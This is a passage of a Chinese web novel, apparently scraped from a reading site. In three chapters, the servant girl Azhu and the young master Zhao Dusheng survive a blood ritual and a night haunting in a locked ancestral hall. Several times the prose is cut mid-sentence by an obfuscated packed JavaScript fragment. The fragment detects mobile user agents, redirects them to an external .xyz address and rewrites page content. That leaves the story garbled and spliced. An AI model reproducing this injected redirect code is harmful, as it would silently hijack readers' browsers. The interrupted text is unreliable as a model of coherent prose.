她往后退了几步,面前的人却突然伸出手,抓住自己裸露在外的手臂。五指森冷的凉意透过皮肤钻进阿朱的鲜活涌动的血液。 她没在多思考什么,抄起横在台阶上的木棍打在女人手臂上顺势猛地往后挣开。 女人的指甲划破阿朱皮肤,流出温而润的血液。阿朱跌跌撞撞撞开赵渡生的大门,她以为看见的会是灯火通明、温暖干燥的地方。下一秒,迎面撞进视线里的院子血气冲天,地上躺着横七竖八的尸体。 阿朱惊恐的发现这些碎块甚至算不上尸体,只是各种各样根本无法辨认的残肢断臂、头颅和身体。 她整个人都放弃思考了一般,眼神直愣愣地发木,连一步都没法挪过去。 正屋半掩的房门砰的一声被拉开又反弹撞在墙上。 阿朱手臂和大腿在打着颤,倒吸一口凉气的喉咙闷闷惊呼一声。 赵渡生绕过横陈在地上的尸体,惨白着脸看向阿朱。那双看人永远带着点积威笑意的眼睛此刻瞳孔扩散近乎失去焦距。 他望见阿朱面容警惕地双手握着木棍远远站在红门前,身后是黑洞洞的大宅院,少见的流露出少年心气的不知所措与惊恐不安。只犹豫片刻,赵渡生艰难地迈开步子,一路几乎要控制不住身体歪歪斜斜地走到阿朱面前。 阿朱不敢去想赵渡生到底看见了什么,她极力忽视地上的残肢断臂,眼睁睁看见赵渡生停在自己半臂远的距离。 赵渡生身上没有活人的气息,他用全然是怀疑畏惧的眼神和逼问的语气问:“你是人是鬼?” 阿朱没有回答他,她慢慢抬起手,在赵渡生的眼皮子下,试探着抓住他的手腕。 手腕骨节上的小手温暖干燥,掌心因为常年累月的粗活带了点赵渡生熟悉的粗糙。两人的瞳孔在眼眶中从害怕惊悚到信任平静。 确信眼前之人是活人时,阿朱忍不住靠近几步。棍子砸在地上,滚动几圈。 两颗心脏一时间紧密地贴合在一起。阿朱发出一声轻轻的叹息,带着坦然。她害怕极了,只想确认眼前之人是可信任之人。 赵渡生伸手哄孩子似的拍了拍阿朱的脊背。拥抱郑重有力,似乎在赵渡生以往的人生里,他是从来没有被这样对待过的,一瞬间,无数复杂的心情交织在一起。 不知道过了多久,赵渡生紧紧抱着阿朱不肯撒手,两人在一片血地里镇静下来。阴冷的风吹在阿朱的皮肤上,她打了个寒颤听见赵渡生在耳边说:“你知道吗?我不想继续待在这里了……真是让人恶心。” 赵渡生声音低喃,忍不住牙关发颤。阿朱皱起眉头一脸不明所以,她耐着性子下巴支在赵渡生的肩头眨巴眨巴眼睛。 “为什么?因为有别的东西吗?” 赵渡生推开阿朱,阿朱看见赵独生素来趾高气昂的长眉耷拉下来,他垮着嘴角,嘴里似是自言自语一般神经质地说着。 “抢来的总要还回去的。” 抢来的,抢谁的?阿朱不懂也不清楚。但是这个道理,不属于自己的东西强抢是拿不走的。 …… 阿朱冷极了,蜷缩成一团的身体忍不住打颤,吐气呼吸胸口剧烈起伏着。 院子出奇得冷,每一次呼吸鼻子都像是吸进了冰渣,在活人的热血的胸膛滚过一遭后从口中溢出,凝成白雾消散不见。 “赵渡生,我们出去吧,这儿太冷了,现在是七月。怎么会这么冷。我觉得不对劲,哪里出问题了。” 阿朱想出去,赵渡生自然能明显感受到阿朱的体温正在迅速地消失。 “好。” 他探过去试了试便抓住阿朱的手臂往外走。两人摸索着,远离一片腥臭的土地,沉重的木门被打的更开,门枢嘎吱作响。 他们以为躲过恶灵作祟,没想到半路乌泱堵着一群人。赵渡生神色冷凝,他站到阿朱面前挡住阿朱的身体。 林管事脸色依旧,他定定看了眼院子里的满地惨状,尊敬唤了声赵渡生便出言道:“老爷夫人在前厅等您。” “呵,他们这时候叫我做什么,刚刚怎么不叫我?” 林管事不答,赵渡生脸沉了沉,他不想再多直截了当地命令道:“把她送回去,拿把火给我,我要把这里烧了。” 两人牵绊着的手落到了林管事眼里,他淡淡瞥了眼,语气口吻不变,“夫人特别说道阿朱也得去……” 身后的下人手里拿了长鞭、木棍、绳子……大有一副逼迫强权的架势。阿朱抬起头和赵渡生对视,赵渡生阴鸷地笑了下,勾了勾唇角森森然地露出犬牙。 “一个下人而已,至于这么兴师动众的吗?让她去不就去了,她还能反了忤逆老爷和宋夫人。” 赵渡生话里客气疏离,看向面前众人的眼睛里却燃着两团黑火。他还年轻却处处掣肘于赵府。不想做但必须得做的事情他做的太多。不论是面对半只脚踏进棺材的赵光行还是养了自己的宋礼莲。 阿朱一踏进门,沉闷腐败的气息就扑面而来,闷得她透不过气。 这是阿朱第一次看清赵府的几个主子。正中间的梨花木椅上坐着个赵老爷,银发稀疏,头皮裸露着,模样很怕人。他年纪上来以后,病多缠身,又迷着长寿之术,仿佛离得近了,浑身上下的颓唐衰败之气就能顺着呼吸飘过来。 宋夫人穿着一身的白,双手合十,佛珠挂在手腕上一晃一晃,好似真的像一尊观世音。二夫人模样艳丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635209|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至极,穿的衣服料子更是媚俗。她似乎对一切毫不关心只看着自己刚涂过蔻丹的指甲。 三夫人依旧无精打采地靠在椅背上,她对上阿朱的目光随即像没见过似的轻巧地避过。 陈妈靠过去,凑在宋夫人耳边说了什么。阿朱跪在地上不禁冷汗,她不明白要被送来这里的缘由,整张小脸只有隐隐的不安。 “说了多少回了,府里容不得脏东西,既然又来了不干净的,大师您尽管驱邪除祟……渡生,你怎么想的呢?” 赵渡生目光沉沉,盯着宋夫人看了半响,深色冷漠地淡淡抛下一句:“随你。” 遥远而熟悉的铃声响起,赵渡生坦然自若地接受自己将会遇到的事,只是道婆根本没看他一眼。 阿朱咽喉滑动了一下,长睫下的黑瞳仁从地面看向逐渐走向自己的道婆。 她手里捧着碗,碗里晃荡着油凉粘稠的东西。阿朱一开始分辨不出什么,直到晃出碗沿,阿朱才发现黏附在内壁的分明是血。 赵渡生眼中闪过一瞬阴狠至极的戾气,他语气森冷,像深潭黑洞里溢出的冷泉:“阿娘这不太好吧,府里就是有脏东西,也轮不到用这种手段。” 宋夫人眼神幽暗,轻飘飘朝毫无精神的赵老爷瞥过去,毫不在意道:“我是为了赵府着想。” 为了赵府着想。 赵渡生昳丽俊朗的面孔微微扭曲,他走到阿朱面前拦住道婆。 “赵渡生!你想翻了天是不是,你以为你是怎么走到今天的,你现在和我说手段肮脏龌龊,你早做什么去了!” 宋夫人彻底撕掉和善的面皮,周围人皆大气不敢出,可赵渡生依旧站在阿朱身前。 阿朱觉得他像座屹立不倒的山,可他不是,赵渡生是有血肉之躯的凡人。赵老爷吸了口手里的烟杆点了点头,门外两个手持板子的下人走了进来,他们没给赵渡生和阿朱一点反应,一棍子打在赵渡生的脊背上。 赵渡生始料不及,单膝跪地,棍棒毫不留情地一击一击打在自己的身上,但他仍堵在阿朱身前,直到有人来将阿朱抓走。 阿朱张开嘴巴,她看了看赵渡生想发出求救声。那人喘息声中断断续续说出几句话:“傻站着做什么?!还不快走,站在这儿是等着被人吃了吗?!” 阿朱愣了愣,最后只是紧紧闭上。 阿朱想:没什么。大不了打一顿,又不是只挨过这一回,总不能来了没个把月,就吃不了苦了,我最能吃苦的。 众人的目光如蛆附骨般黏在阿朱身上,阿朱恨不能能消失不见,她心底恐慌至极却摆出无所畏惧的假象。 赵渡生的声音在耳畔不断地响起,道婆行至跟前,阿朱舔了舔干燥的嘴皮子。 “要做什么你就做吧!别打他了。” 赵渡生听见了气得眼前黑了黑,他黑眼珠湿漉漉的,语气从一开始的强势变得委婉,他忍着痛,和阿朱说没关系叫她快走。阿朱没动,她知道自己走不出去。 于是,事态渐渐崩落,赵渡生眼睁睁看着一条条血痕留在阿朱脸上。阿朱可怜地红着眼睛觑他,企图用眼神安慰对方,却被赵渡生恶狠狠地骂了回去:“滚!!别看我……蠢货!蠢货!!” 道婆弯腰,朝阿朱笑了笑。她两截枯木手指沾着血,哄着阿朱:“别怕,只一会儿就好了,以后再不用怕啦。” 直到粗粝的指腹画在脸上,阿朱才发觉这血是热的,她鼻尖翕动,闻到了血腥气,熟悉的院子里泥土的味道。 赵渡生语气愤懑,阿朱只当是自己不听他话所以他才发了火。 赵渡生受不了了。 他受不了赵府披着的用来掩人耳目的华袍,受不了赵老爷和宋夫人极力掩盖的腌臜事实。他赤红着双眼在心底不断神诅咒着。 真是恨极了,一群脏心烂肺。 15. 没救了 牛贵有时候生意差,差到揭不开锅就会把主意打到阿朱身上。他会让阿朱喝点奇怪的“东西”或者是敷些自己捣碎的“草药”。 等“草药”发生某种变化,他就会把阿朱推到人前展示他如何去除邪祟,降服志怪。 所谓“鬼上身”也就是他一手做出的让平头百姓信以为真的把戏。阿朱再有不耐,一想到活不下去,她又能继续忍下去,配合牛贵演戏,直到牛贵卖出符咒、香灰、各种各样的铜铃法器。 阿朱向来都是习惯这种异术的,左不过难受个三五天,各种莫名其妙的症状就会消失。 阿朱以为时间应当过去了许久,迷糊醒来看见门外灯火通明的时候打了个莫名的冷颤。 外面传来隐隐绰绰的很耳熟的哭声,贞红在哭,哭得小心谨慎,阿朱能听出来她在极力压制自己的抽泣。 阿朱自己不掉眼泪,也见不得别人掉眼泪,她觉得眼泪有气味,一闻到那味道她鼻子就会发酸,喉咙堵棉花动不得。 她费了好大的力才勉强撑开眼皮,在听见旧门关合的声音后眼睛终于活过来缓慢的打量四周。阿朱对这里实在太熟悉不过了,可周围的人一个个在房间里所有的桌子、法器撤掉。 没过一会儿,屋里就变得空荡荡的,只剩下高高的神龛。 一暗一明,一道没多高的门隔出两块不一样的地方。阿朱动了动肩膀,顺势弓着背爬了起来,她要往外走。 屋子已经很久没有打扫过了,阿朱甚至能摸到沾在掌心下的灰尘。 她抬头,门外所有人看向她的目光就仿佛她是什么洪水猛兽。一张张熟悉的脸低垂着,众人在亮眼的火光中好似一副厚重大气的神仙图。 赵老爷浑浊的眼珠子里闪着不知该说是来了精神的炯光还是食肉禽兽的灼灼精光。他们好像每没长眼睛对阿朱视若无睹。 一声长长呕哑的“吱呀”,门被慢慢合上,光线被彻底隔绝在外面,一点都没渗进来。阿朱好像终于明白了为什么赵府要把这处的门窗要建得如此之小。 她咽了口气脱力躺在地上,她长长叹了口气,跟着,身侧传来衣服的摩挲声。 阿朱适应黑暗后睁开眼睛,也只能看见一点点身形轮廓。过了很久,衣服摩挲声重新响起。 赵渡生一言不发,他点亮一根蜡烛,点点火苗映出一双紫水般的眼睛和隐隐约约的脸的轮廓。 阿朱张大了嘴巴,百般思考也没想到应对之词。赵渡生衣衫不整,神色倒是如常,只是过于安静了,安静到阿朱觉得浑身起鸡皮疙瘩。 赵渡生可不是什么好相与的人物。 果不其然,只过了一会儿,阿朱就听见赵渡生说:“我才不要在这里……要不是因为你,我怎么会在这里。” 他说得有气无力,语气幽怨得像深山里的冰泉,咕咕冒出来冻着人,却伤不到人,对阿朱的震慑力自然而然轻了很多。 阿朱拿眼睛偷偷地瞟赵渡生,瞟了一眼又一眼,直到赵渡生不耐烦地出声道:“还没看够吗?” 阿朱待在旁边,听他如此说倒也大大方方地将视线停留在赵渡生脸上,没什么底气地说: “谢谢你啊。” 赵渡生摆了张臭脸,不屑地哼了一声,他倒不是多觉得阿朱应该感恩,只不过自己不仅没能护到她自己也被扔了进来,也就只有阿朱才会觉得他是值得感谢的。 “谢谢你站在我前面。” 嘴巴软,心更软。 话在赵渡生的舌尖上滚了又滚终究还是没能说出口。 “为什么你也会被关进来呢?我们什么时候才能出去?” “出不去。因为他不想要我这个儿子了满意了吧。” 赵渡生没好气地呛了呛阿朱,阿朱挠了挠头,不要她很正常,为什么不要自己儿子。 “我们真的出不去吗?” “你真是愈来愈没规矩了,谁和你、们?” 阿朱转了转眼珠子又道:“那好吧,那我应该明天就能出去了吧。” 不问他,只问自己。赵渡生笑了,他不耐烦地“啧”了一声,大有一副要发作的架势。阿朱连忙闭上嘴巴,反应很快地打了个哈欠。 “啊,困了困了,我要睡了,你不要再和我说话了。” 到底是谁和谁在说话。 阿朱躺在地上小猫小狗盘身子似的蜷缩在地上,背对着赵渡生。她想问赵渡生院子里的尸体是怎么回事,可她想了又想决定还是继续装聋作哑。 赵府有恶鬼,那也得去找赵府的人。阿朱摸了摸手上早已干涸的符咒,有点没有出息的想。可阿朱明白道婆已经将某些东西调转了方向。 她会死吗?可她还不想死,她还没真正的活过。阿朱下定了决心,他们越觉得她的命可以随便拿来用,她就越不让他们用。哪怕对方是神佛鬼怪,也不能挪了她的命格去挡灾避难。 她不是随便可以用脚踩进土里的杂草小花,她要死死地护着自己。 夜里静悄悄的,空气中只有蜡烛燃烧的气味儿。阿朱似乎快要睡着了,喉咙里发出类似动物舒服微弱的呼吸声。 赵渡生的脸埋在一片暗色,他眼睛似乎能看到阿朱,盯着阿朱规律起伏的脊背看了好一会儿。 不知道是出于什么心理,赵渡生突然幽幽地说: “当心面瘫。” 阿朱眯蒙着,听见动静后眼睫毛抖动了几下。意识逐渐回笼但她懒得挪身子,于是,阿朱转头半睁着眼好奇地望向赵渡生。 “什么面瘫?” 赵渡生手搭在膝盖上,百无聊赖地背靠在墙边,玩着自己手里莹润漂亮的玉坠子。 他朝阿朱抬了抬眉,一本正经道:“面瘫就是你笑不出来,哭不出来,讲话会流口水,吃饭漏米饭……” “我哪有面瘫,我不要面瘫。” “半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这个样子喝什么酸梅汤。” 她不理解赵渡生为什么会想喝酸梅汤,现在这阴森森的地方又算不上热,可赵渡生嘴里依旧念个不停。 阿朱直截了当地脱了赵渡生的衣服,垫在他的身下,又撕了块干净的料子,将赵渡生身上的汗擦干净。 赵渡生的动静少了很多,可眉间紧紧蹙着,仿佛做了噩梦不安恍惚。 阿朱守在赵渡生身边,伸出手指在他的眉间来回抚触。她动作轻柔而有规律。不消一会儿,赵渡生就安静下来,眉间也不再紧皱。 死马当活马医,这是套哄孩子的法子。阿朱难受的时候就喜欢摸自己的眉毛,那摸别人的眉毛说不定也有效果。 阿朱只盼望着今夜能够顺利地度过,能够早早地迎来白天,可事情哪有这么简单。 16. 死马当活马医 阿朱彻底睡不着了。她拿着根呲毛的笔,沾了点朱砂在黄纸上一圈圈画出丑不拉几的线条。房间里太黑,她就趴在地上,对着小小的蜡烛光,神情极为专注认真。 因为发烧的缘故,赵渡生大约是昏过去了,等醒来就看见阿朱在自己旁边,一笔一划地在略有些破旧的黄纸上小心翼翼地画着圈,嘴里还神神叨叨。 阿朱握笔姿势奇怪,这也不能怪她,她会写字,不过都是跟着牛贵写的。一个流氓匹夫当然写不出什么好字,更何况还是个靠画符卖符为生的。 这种驱鬼除邪的符,阿朱以前没少画,牛贵人前还能装装样子画画,人后全都甩给她。 赵渡生在她旁边只能看见一颗毛茸茸的脑袋和试图写字的一只小手。 阿朱已经画了几张,小小一叠堆在赵渡生手边。再写下最后一笔后,一小片阴影落下,阿朱愣了瞬。 遭了,她才刚画好,赵渡生不会就这会儿功夫鬼上身了吧。极速转动脑子后,阿朱下了个决心。 赵渡生看着阿朱动也不动刚想出声质问,谁料就是眼前这颗脑袋猛地抬起,只听咚的一声,阿朱的后脑勺重重撞在赵渡生的鼻梁骨上。 “啊啊——” 两人皆是痛呼一声,剧烈的酸痛很快从赵渡生的鼻梁骨冲到头顶。 “啊啊啊啊啊啊你作死呢!!痛死我了!!” 阿朱跳到另一边,伸手揉自己的后脑勺。 痛死了。赵渡生一张俊脸扭曲着,他捂住自己的鼻子,疼得不想说话。 “我以为你是鬼。” “你才是鬼!哪个鬼还能看着你画符灭它不杀了你。” 阿朱被噎了噎,半晌支支吾吾说不上话。赵渡生在一旁哀痛地嚎叫,仿佛阿朱真是做了天大的对不起他的事情。 “其实我的头也挺痛的。”阿朱悄悄嘟囔了句,揉着自己的后脑勺,脑袋一定肿了,阿朱想。 “你嘟嘟囔囔说什么呢?”赵渡生没好气的睨了阿朱一眼,跟着他的掌心感受到了一股温暖滑腻的液体。 赵渡生喉咙里不断溢出的哀嚎声一下子就止住了,他神情僵硬地伸手自己摸了摸自己的鼻子,随着掌心的液体越来越多,阿朱听到了一声比撕心裂肺还要夸张的爆鸣。 “啊啊啊啊啊啊!血!血!我流血了!!我流血了!!!” 赵渡生窜天炮似的炸了起来。 这么痛吗?阿朱眼神躲闪惊愕,惊恐过后,一脸莫名其妙地看着赵渡生,难不成他怕血?不至于啊,上次自己道婆给了阿朱一刀,还是赵渡生压着自己,那会儿他还挺淡定啊。 阿朱觉得赵渡生要哭了,整个人满脸绝望地瘫在地上一动不动。阿朱觉得自己得负责,于是她和赵渡生说:“我不是故意的,我是怕……才画了这东西。” 赵渡生脸上稀里糊涂挂着血痕,一脸幽怨地望着阿朱。 “你……你还好吗?” …… “我不好。我要死了。” 赵渡生忽然卸了浑身气力似的,再没以往的趾高气昂瘫在地上。 阿朱觉得赵渡生也太夸张了,她支支吾吾半晌说:“没事的,鼻梁骨没断就行,回去两天就好了。” 赵渡生一脸的失魂落魄,没有半点声响,过了会儿他没力气地说:“你懂什么?我从小到大流血的次数不过三回。” 阿朱有点丈二和尚摸不着头脑,“那他们对你真好。” 赵渡生不屑地哼了声,此刻他也懒得再管脸上的血,“他们哪里是对我好,是怕我惹来了不该惹的……算了,我跟你说这些做什么,你又知道什么?” 赵老爷宋夫人这些年盯他盯得那么紧,原因无他,只是赵渡生一旦流血,府里就会有“奇怪”的事情发生。 阿朱抿了抿嘴唇,轻声说:“没事,我画的符很厉害的。” 赵渡生眼珠僵硬地转动看向阿朱。阿朱吞了吞口水,硬着头皮接着道:“好吧,其实我也不知道厉不厉害,但死马当活马医说不定就有效果呢。” 她说完一把捞起地上的黄符,在赵渡生的周围,东西南北八个方位各摆了一张。摆完,阿朱抱着膝盖坐在方阵外,两人大眼瞪小眼,面面相觑。 赵渡生此时神色才略见松缓,他清了清嗓子,没话找话地质疑: “这……真的有用吗?” 阿朱轻呼一口气,面上隐隐怀着不加掩饰的直白与期待,眼睛眨也不眨地紧盯地上的纸符。 “我也不知道我懂不懂。” 话说完,赵渡生明显感觉到自己额角的青筋跳了跳。不懂还在自己面前装大神,他抑制住即将爆发的脾气又问:“你哪来的黄纸朱砂?” “哦,我好久之前就带在身上了。” 不算傻,进赵府这么点时间还挺有先见之明,赵渡生想。两人似是无话可说,屋子里尴尬地静默了会儿。 一天前,一个还是鼻孔看人的大爷,一个还是不管风吹日晒的都要去扫地的闲杂人等。两人出身不同,可如今境遇相同,都被困在一方小小的祠堂里。 赵渡生直勾勾地盯着阿朱看了几秒,阿朱被看得不好意思于是隔着两人中间快燃尽的小蜡烛对赵渡生尴尬地笑了笑。 赵渡生是个性子高傲的,纵使沦落这般境地,也不愿意承认错误或是低头。 蜡油滴在地上,融成一小滩,将最后一小截蜡烛固定在地上。 赵渡生忽然把脸凑在阿朱身上,嗅了嗅。阿朱缩了缩脖子,语气嫌弃。 “你干什么?” 赵渡生鼻尖狗似的耸动几下,“有没有闻到一股味道。” 说罢,阿朱也抬头深吸了一口气,嗅闻几下后,阿朱终于闻到空气中飘着的刺鼻味道。 阿朱鼻子灵,身体跟着鼻子走就要移过去,可蜡烛灯芯突然烧到了根,灭了。 亮光一下消失不见,阿朱看不见摸黑又坐了回去。 “怎么办,看不见了。” 赵渡生倒是淡定,他习惯黑暗,自小就有在夜里视物的能力。“怕什么,我看得见不就行了。” 他语气淡定,没什么慌乱。阿朱想起来第一次见面时,也是灯笼落地,赵渡生帮她捡起了蜡烛。 阿朱听见赵渡生爬起来,他似乎是走出了符阵,阿朱忍不住出声提醒道:“你还流着血,要不然别出去了。” 说晚了,赵渡生已经一脚踏了出去。他一眼就瞧见了桌上发黑腐烂的食物,苍蝇围在四周飞来飞去,嗡嗡得吵个不停,而原本应该摆放着黑箱子的地方却空空如也,甚至连单独拉出来的横梁也消失不见。 疑惑失神之际,阿朱的声音逐渐将赵渡生拉回现实。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635211|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见什么了吗?” …… 过了很久,久到阿朱以为赵渡生真的出了什么事,赵渡生才慢慢回道:“我看见了一张破桌子、一堆苍蝇……” 阿朱皱起眉头,心底有不好的预感。 桌子上摊着块缝缝补补过的破布,赵渡生的眼角忽然捕捉到破布动了下,他缓缓蹲下身子,看向破布零星的漏洞。 一张勾起久远回忆的小脸忽而闪至洞眼前,赵渡生被骇了一跳,心脏猛地提到了嗓子眼,往后退了一步直接跌坐到符阵中央。 “你怎么了啊,是看见了什么吗?” 阿朱犹如热锅上的蚂蚁,她什么也看不见自然只能依靠赵渡生说。 赵渡生晃了晃脑袋,再抬眼望去时,前面只是一片空地。黑箱子依旧摆在老位置,不见任何变化。或许是看走了眼了又或许是太久没有得到休息,脑子本就晕乎乎的一下没恢复过来。 “没……没什么。” 阿朱咽了咽嗓子,她原本是坐在符阵外的,总感觉赵渡生有些异常可却说不上来什么。于是阿朱挪动了几下屁股,悄悄移到赵渡生旁边。 “等天亮就会有人把我们放出去了,没事的,什么乱七八糟得也不能进这个符阵里,我们就待在里面等到明天……” “咯咯咯——” 微弱的声音逐渐响起,阿朱愣住闭上嘴巴。耳边的诡异的声音越响愈烈,阿朱颤着声音开口道:“赵……赵渡生,你有没有……听见什么声音啊?” 黑暗中,阿朱一把抓住赵渡生的手腕。那声音极像牙齿磨动的响动。赵渡生反手紧紧抓住阿朱冷汗津津的手掌。 这声音有些熟悉又和阿朱以往听见的有所不同。阿朱几乎被吓没了魂,肩膀细细碎碎抖动着。 声音频率逐渐加快,越来越响越来越刺耳,难以忍受到阿朱头疼欲裂,直接呕了一声。 身体力气逐渐消散之际,阿朱伏在地上,谁料赵渡生双手一张猛地将她笼进怀里。阿朱吓了一跳挣扎几下没挣扎开,赵渡生仿佛使了牛劲一般,阿朱一点都拼不过。 两人像雨夜羊圈里互相依偎的小羊。阿朱被赵渡生勒得快要喘不过气,胳膊缩起来放在胸前,咳嗽几声。 只是此时此刻赵渡生也正睁着双眼,一脸防备地看向周围漆黑的一片,恐怕就连他自己都没意识到自己到底在做什么。 黑暗中仿佛有什么东西越来越近,两人紧紧蜷缩拥抱在一起。 耳边清晰的声声急促喘息,让阿朱的心跳不由自主地加快。别过来别过来别过来……阿朱在心底默念一万遍。 正当没忍住吐出一口酸水的时候,周围的符纸突然爆燃起来,阿朱在火光里看见了赵渡生一张惨白如鬼的脸,赵渡生此时也没比她好到哪里去。 阿朱跳出胸膛的心顿时安稳跳动起来,符纸燃烧速度极快,在周围腾起灰蒙蒙的雾气和灰烬。 “真的有用!!” 劫后余生的欢欣感让阿朱忍不住叹了口气,赵渡生握住阿朱的臂膀,眼瞳发出的光亮几乎要将人灼伤。 “我们……” “砰”的一声,门被重重打开,刺眼炫目的日光瞬间倾泻进来,阿朱被刺激得捂住眼睛,而赵渡生还未说出的话却被掐在喉咙里。 屋外零零散散几人的背影模糊站着,天光大亮。 17. 你开个门好不好 林管事站在赵渡生跟前不知道说着什么,神情严肃,声音也压得很低。 赵渡生随手利落地拍去身上衣摆的灰尘,一脸不以为意地随口道:“他们跟我闹什么脾气,不管怎样,我总是和他们站在一起的……” 阿朱肚子待在屋内,脚边的黄符早已变成沸腾轻巧的纸灰,在地上留下或深或浅的烧过的痕迹。那些燃烧过后的纸灰,人一走动就轻飘飘带起来飞别处。 原来真的有用,牛贵不全是骗人,阿朱盯着自己鞋尖的灰想到。 林管事奉赵老爷的吩咐,请赵渡生离开祠堂,赵渡生恍若未闻,自顾自说道:“这些年赵府流年不利,风水不好,父亲他总是疑神疑鬼,前段时间甚至怀疑到祖坟上去。我看他是杞人忧天,才把我关这么久。” 阿朱移开同赵渡生对上的视线,挑眉又道:“父亲年纪大了,被人一说难免担惊受怕,我是他亲生的,哪里会不懂他的苦,府里没那么多乱七八糟的事情。” 赵渡生越是随意,阿朱心中越发狐疑,她觉得赵府杀孽重,冤魂太多。 阿朱看着脏兮兮的地面,或许是她思考地过于认真,她浑然不觉赵渡生已懒懒散散地走了过来。 倏一抬头,阿朱便瞧见赵渡生笑嘻嘻地说:“看什么呢?看这么入迷,我都走你旁边了还一点没反应。 赵渡生视线落在阿朱身上,阿朱低声“唔”了声,她当然不会说按照赵府的风水地来说,赵府是在走下坡路。 阿朱支支吾吾半天,一时半会儿想不出应对之策。赵渡生嘴角倒是禁不住翘起弧度来,他伸手揉上阿朱紧皱的眉间,“好了,笑一笑,又不是天塌了。” 赵渡生拉着阿朱的手,将她引到林管事面前,“你说吧阿朱,昨天可有什么奇怪的事情发生?” 阿朱心虚地瞅了眼赵渡生已经抹干净的毫无痕迹的鼻子,她垂下眼睫摇头说:“没有,什么也没发生。” 林管事讳莫如深地看着两人,似乎是在辨认两人话里的真假,只是碍于身份,他始终不能朝赵渡生说什么,最后只用最温良和缓的语气请赵渡生出去。 “赵渡生。” 阿朱站在原地,叫住赵渡生。 “叫我做什么?” 意识到自己的逾矩越界,阿朱抿了抿干燥的嘴唇,低声道:“没什么,”说完,两人隔着小腿肚子高的门槛对视,这种比较博弈里阿朱总是最先败下阵来的那种。 “……注意身体。” 赵渡生等了半天就想看阿朱最后能说出什么话来,果然阿朱也很不争气。 听完,赵渡生不由自主地笑了声,他突然冲阿朱抬了抬头,表情张扬肆意,“从哪儿来回哪儿去,该干什么干什么,别跟个傻子似的在里面什么也不做。” 阿朱眼神发愣,似乎听不懂赵渡生的话外之音。直到对上赵渡生阳光底下,凌凌冷光的眸子,阿朱重重点了个头。 漆黑的大门再次关上,阿朱从袖口倒出了赵渡生刚才握手时顺道塞给自己的火石和小半截从供货商顺来的蜡烛。 他真是个好人,阿朱想。 其实阿朱原来很喜欢赵渡生,可赵渡生性情阴晴不定,哪天惹到了他就来一顿鞭子抽,阿朱害怕,所以她不喜欢了。念在他还愿意帮自己一把的份上,阿朱决定夸一夸他,尽管赵渡生听不见也不知道。 阿朱走到门前,耳朵贴过去想看看能不能听见门外的走路声。她试探性地想把房门拉开,然而这扇门紧紧贴着在一起,无法拉动分毫。 阿朱使劲晃动过后,也只能听见门外依稀有铁锁晃动的声音。她扯了半天门锁毫发无损。 屋内隐隐约约还残留着纸符燃烧过后的味道。赵渡生出去的时候是傍晚,自己又要等到什么时候才能出去呢,又或者外面的人根本没这个打算。 阿朱心底感到一阵恐慌,眼前分明什么也看不见,可阿朱就是觉得腾起了灰蒙蒙的水雾,让她看不清辨不明。 空荡荡的房间里,阿朱躲在一根红柱后面,好似红柱子能掩蔽她的不受任何外物的侵扰。 阿朱手里来回摩挲着顺滑的烛身和疙疙瘩瘩的灯芯,忍不住打了个寒颤。她直截了当地打开火折子,一点火星子迸溅点燃在烛芯上,一小点微弱的灯光就重新燃起来。 尽管这么点亮度,像芝麻大小的黄融进黑。阿朱已经很久没有在夜里给黑箱子点灯了,既然该做的都得做,阿朱就得循规蹈矩地将祠堂内的蜡烛点燃。 没怎么多思考和犹豫,阿朱踮起脚将手中仅剩的半截蜡烛送了上去,嘴里还在碎碎念叨: “您大人有大量,今天实在没有别的蜡烛了……我不是故意不在祠堂给你干活的。” 阿朱叹了口气,“我有我自己的苦衷。我也没有吃的,更没有糖,你不用来问我我有没有……” 阿朱朝黑箱子拜了拜,她准备将蜡烛留给黑箱子,自己回到昏暗视野不清晰的柱子旁。 可转身时双眼却忍不住朝黑箱子看,她从前向来不敢这么明目张胆地看向那个箱子,可现在这种境遇下,胆子突然大了起来,她双眼却忍不住仔细观察起箱子来。 可以打开吗?哪里能打开?里面装的是什么? 阿朱甚至懒得去探究他们要把箱子高高供奉起来的原因,她想知道那里面到底装了什么。 可阿朱看了又看,那似乎是一种很特殊的榫卯结构,没留下缝隙之类的缺陷。箱体表面虽泛着冷色,但细细看去又好像是木头上嵌进去的铁块在反光,做得完美无缺。 箱子就这样静静地摆在阿朱眼前,点点的盈光钻进阿朱的眼睛。她鬼使神差地伸出手,手指和掌心慢慢地、轻轻地放在了箱体上。 掌心下的箱子冰凉一片,是完全不同于人和死物的温度。 冷、麻…… 等冷渗进骨缝阿朱猛的回过神,她收回冻硬的右手,往自己衣服上快速搓了搓。 等搓出点热来,阿朱才后知后觉到自己刚刚做了什么。她泛起一阵事后的恶寒,浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 